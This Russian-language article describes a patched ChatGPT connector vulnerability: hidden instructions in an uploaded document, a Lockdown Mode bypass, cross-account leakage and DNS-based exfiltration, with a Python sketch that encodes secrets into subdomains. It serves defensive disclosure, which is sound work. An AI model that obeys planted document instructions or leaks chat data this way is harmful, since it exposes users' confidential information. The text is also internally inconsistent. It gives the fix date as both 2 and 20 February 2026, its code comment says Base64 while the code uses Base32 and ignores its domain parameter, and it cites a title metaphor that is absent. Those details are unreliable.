Представьте, что ваш корпоративный ИИ-ассистент тихо сливает финансовые отчеты конкурентам, пока вы просто ищете баг в коде — звучит как сценарий из киберпанка, но именно это делала уязвимость в коннекторах ChatGPT, закрытая инженерами OpenAI 2 февраля 2026 года. Современные большие языковые модели (LLM) стремительно эволюционируют из чат-ботов для написания текстов в автономные рабочие инструменты. Интеграция сторонних сервисов, плагинов и коннекторов превратила экосистему вокруг ChatGPT в сложную распределенную систему (в которой отладка порой напоминает попытку починить легаси-код на прод-сервере в пятницу вечером). Однако с ростом функциональности неизбежно возрастает и поверхность атаки. Информационная безопасность ИИ-систем больше не ограничивается простыми попытками «взломать промпт» (prompt injection) с целью заставить модель выдать системные инструкции. Сегодня исследователи сталкиваются с принципиально новыми архитектурными уязвимостями.
Одной из таких находок стала критическая уязвимость, успешно устраненная инженерами OpenAI 20 февраля 2026 года. Она позволяла злоумышленникам незаметно передавать конфиденциальные пользовательские данные — включая промпты и чувствительную информацию из чатов — через скрытый исходящий канал между коннекторами и внешними серверами. Главная опасность заключалась в том, что атака могла реализовываться через тривиальные векторы вроде одного вредоносного документа или общей ссылки, не требуя от пользователя никаких подтверждений, кликов или осознанного одобрения. В этой статье мы подробно разберем механику этого инцидента, проанализируем архитектурные предпосылки возникновения скрытых каналов в ИИ-ассистентах и обсудим, какие выводы должны сделать разработчики для защиты своих платформ.
Архитектура уязвимости: как коннекторы открывают скрытые каналы
Чтобы понять масштаб проблемы, необходимо взглянуть на то, как устроены коннекторы в современных платформах искусственного интеллекта. ChatGPT Connectors созданы для того, чтобы обеспечивать бесшовную интеграцию между чатом и внешними хранилищами данных, базами знаний или корпоративными API. Пользователь ожидает, что модель обратится к внешнему сервису, получит оттуда информацию, обработает ее и вернет ответ в интерфейс чата.
Однако архитектурная особенность, вскрытая исследователями безопасности (включая команды Check Point Research), заключалась в возможности установления несанкционированных исходящих коммуникаций. В нормальном режиме работы потоки данных строго контролируются платформой. В уязвимой конфигурации злоумышленник получал возможность незаметно манипулировать запросами через механизм коннекторов, создавая так называемый covert exfiltration channel (скрытый канал эксфильтрации).
Рассмотрим упрощенную концептуальную схему того, как злоумышленник мог заставить систему передавать данные на сторонний сервер:
[ Пользователь / Документ ]
│
▼
(ChatGPT Sandbox)
│
├──► [ Легитимный коннектор ]
│
└──► [ Злонамеренный запрос ] ──► DNS / Внешний сервер (Скрытая утечка)В этой схеме ключевую роль играла изоляция песочницы. Если песочница допускала неконтролируемые исходящие сетевые запросы или не фильтровала параметры, передаваемые через коннекторы, у атакующих появлялся мощный инструмент для организации скрытой передачи информации.
Но как именно злоумышленники обходили защитные барьеры на практике? Перейдем от теории к конкретным векторам проникновения, которые заставили понервничать команды кибербезопасности.
Векторы атаки: от зараженных документов до обхода Lockdown Mode
Особую тревогу у специалистов по информационной безопасности вызвали те векторы, через которые могла осуществляться эксплуатация уязвимости. Атака не требовала сложной социальной инженерии или внедрения вредоносного кода на устройство пользователя. Достаточно было предоставить один зараженный документ или поделиться ссылкой на скомпрометированную беседу.
1. Один документ как точка входа
Пользователь загружает в чат внешне безобидный файл (например, PDF-отчет или электронную таблицу), содержащий скрытые инструкции. При обработке этого документа моделью или встроенными инструментами коннекторов срабатывает скрытая логика. Документ инициирует обращение к внешнему ресурсу, передавая содержимое текущего чата, историю промптов или кэшированные данные. Пользователь видит обычный процесс анализа файла, в то время как в фоновом режиме происходит незаметная передача конфиденциальных сведений.
2. Обход режима блокировки (Lockdown Mode)
Особое внимание ИБ-сообщества привлек факт обхода режима повышенной безопасности — Lockdown Mode в ChatGPT. Этот режим разрабатывался специально для того, чтобы минимизировать риски внешнего воздействия, ограничить сетевую активность и заблокировать потенциально опасные операции. Однако архитектурный просчет в обработке запросов коннекторов позволил злоумышленникам обходить эти ограничения, доказывая, что традиционные средства изоляции бессильны против уязвимостей на уровне логики взаимодействия компонентов ИИ.
3. Межпользовательские утечки (Cross-Account Data Leakage)
Еще одним критическим вектором стали общие беседы. В сценариях совместной работы, когда несколько пользователей имеют доступ к общему пространству или разделяют «общий буфер обмена» внутри песочницы, уязвимость позволяла перехватывать данные между разными аккаунтами. Это создает прямую угрозу утечки коммерческой тайны и персональных данных в корпоративной среде.
Чтобы реализовать подобную эксфильтрацию незаметно для традиционных средств контроля, атакующие задействовали механизмы, к которым корпоративные сети исторически относятся с полным доверием.
Технический срез: DNS-экфильтрация и проблема доверия к трафику
Среди множества методов скрытой передачи данных в инциденте особое место занимала DNS-экфильтрация (DNS tunneling/exfiltration). Этот метод традиционно используется злоумышленниками в классическом кибершпионаже, поскольку сетевые администраторы редко блокируют DNS-трафик (порт 53), считая его критически важным для инфраструктуры.
В контексте ChatGPT атака с использованием DNS-экфильтрации выглядела следующим образом:
- Коннектор или скомпрометированный компонент песочницы формирует строку данных, содержащую фрагменты конфиденциальной информации (например, токены, фрагменты промптов или персональные данные).
- Эта строка кодируется (в Base32 или Base64) и подставляется в качестве поддомена в фиктивный DNS-запрос.
- Запрос отправляется на DNS-сервер, контролируемый злоумышленником.
- Внешний злоумышленник собирает эти поддомены из логов своего DNS-сервера и восстанавливает исходный массив данных.
Пример концептуального формирования такого запроса:
# Концептуальный пример генерации поддомена для DNS-экфильтрации
import base64
def exfiltrate_data(secret_data: str, attacker_domain: str):
# Кодируем конфиденциальные данные в Base64
encoded_bytes = base64.b32encode(secret_data.encode('utf-8'))
encoded_str = encoded_bytes.decode('utf-8').lower().replace('=', '')
# Формируем DNS-запрос (разбивая при необходимости на части)
dns_query = f"{encoded_str}.malicious-observer.com"
# Имитация отправки запроса через коннектор
print(f"Выполнение запроса к: {dns_query}")
# Тестовый запуск
exfiltrate_data("user_api_key_12345", "malicious-observer.com")Для системных архитекторов этот пример наглядно демонстрирует, почему наличие периметральной защиты недостаточно. Если ИИ-система имеет право выполнять сетевые запросы на основе содержимого, генерируемого динамически (включая пользовательский ввод и внешние файлы), традиционные файрволы не могут отличить легитимный запрос от скрытой утечки.
Осознав масштаб угроз, разработчикам по всему миру приходится экстренно перестраивать подходы к проектированию таких систем.
Уроки для разработчиков и ИБ-специалистов
Исправление уязвимости, выпущенное OpenAI 20 февраля 2026 года, закрыло конкретную брешь, однако породило глубокую дискуссию в профессиональном сообществе. Разработчики LLM-платформ, интеграторы и специалисты по безопасности должны пересмотреть подходы к проектированию сред исполнения. Вот ключевые вопросы, на которые предстоит найти ответы:
- Строгая изоляция песочниц (Sandbox Hardening): Песочницы для запуска ИИ-инструментов и коннекторов должны иметь абсолютный запрет на любые несанкционированные сетевые соединения. Любой исходящий трафик должен проходить через строгие шлюзы с глубокой инспекцией содержимого (DPI).
- Контроль доверия к коннекторам («Паспортная система»): Метафора из заголовка статьи отражает потребность индустрии в строгой идентификации и верификации всех данных, передаваемых между коннекторами. Каждый компонент должен иметь четкий цифровой «паспорт», подтверждающий его права на доступ к конкретным ресурсам.
- Аудит обработки неструктурированных данных: Загружаемые документы не должны иметь прямого доступа к сетевым функциям среды выполнения. Необходима предварительная санитизация и строгая типизация всех данных, поступающих извне.
- Защита режимов повышенной безопасности: Такие функции, как Lockdown Mode, должны проектироваться с учетом принципа эшелонированной обороны, исключающего возможность их обхода через побочные каналы связи (side-channel attacks).
Заключение
Инцидент с незаметной передачей данных через коннекторы в ChatGPT наглядно показывает, что безопасность генеративного искусственного интеллекта вышла на новый уровень сложности. Злоумышленники больше не ограничиваются манипуляциями с текстом ответа — они атакуют саму архитектуру взаимодействия модели со вспомогательными сервисами. Своевременное исправление уязвимости компанией OpenAI позволило предотвратить массовые утечки, однако общая проблема архитектурной прозрачности скрытых каналов остаётся актуальной для всей IT-индустрии.
Для разработчиков и ИБ-специалистов это сигнал к тому, что внедрение ИИ-решений в корпоративную и пользовательскую среду требует беспрецедентного уровня контроля сетевой активности, строгой изоляции компонентов и перехода к модели нулевого доверия (Zero Trust) не только для пользователей, но и для внутренних коннекторов и плагинов. Проверьте свои коннекторы прямо сейчас: настройте глубокий мониторинг исходящего DNS-трафика в контуре ИИ-систем, чтобы исключить любые несанкционированные запросы.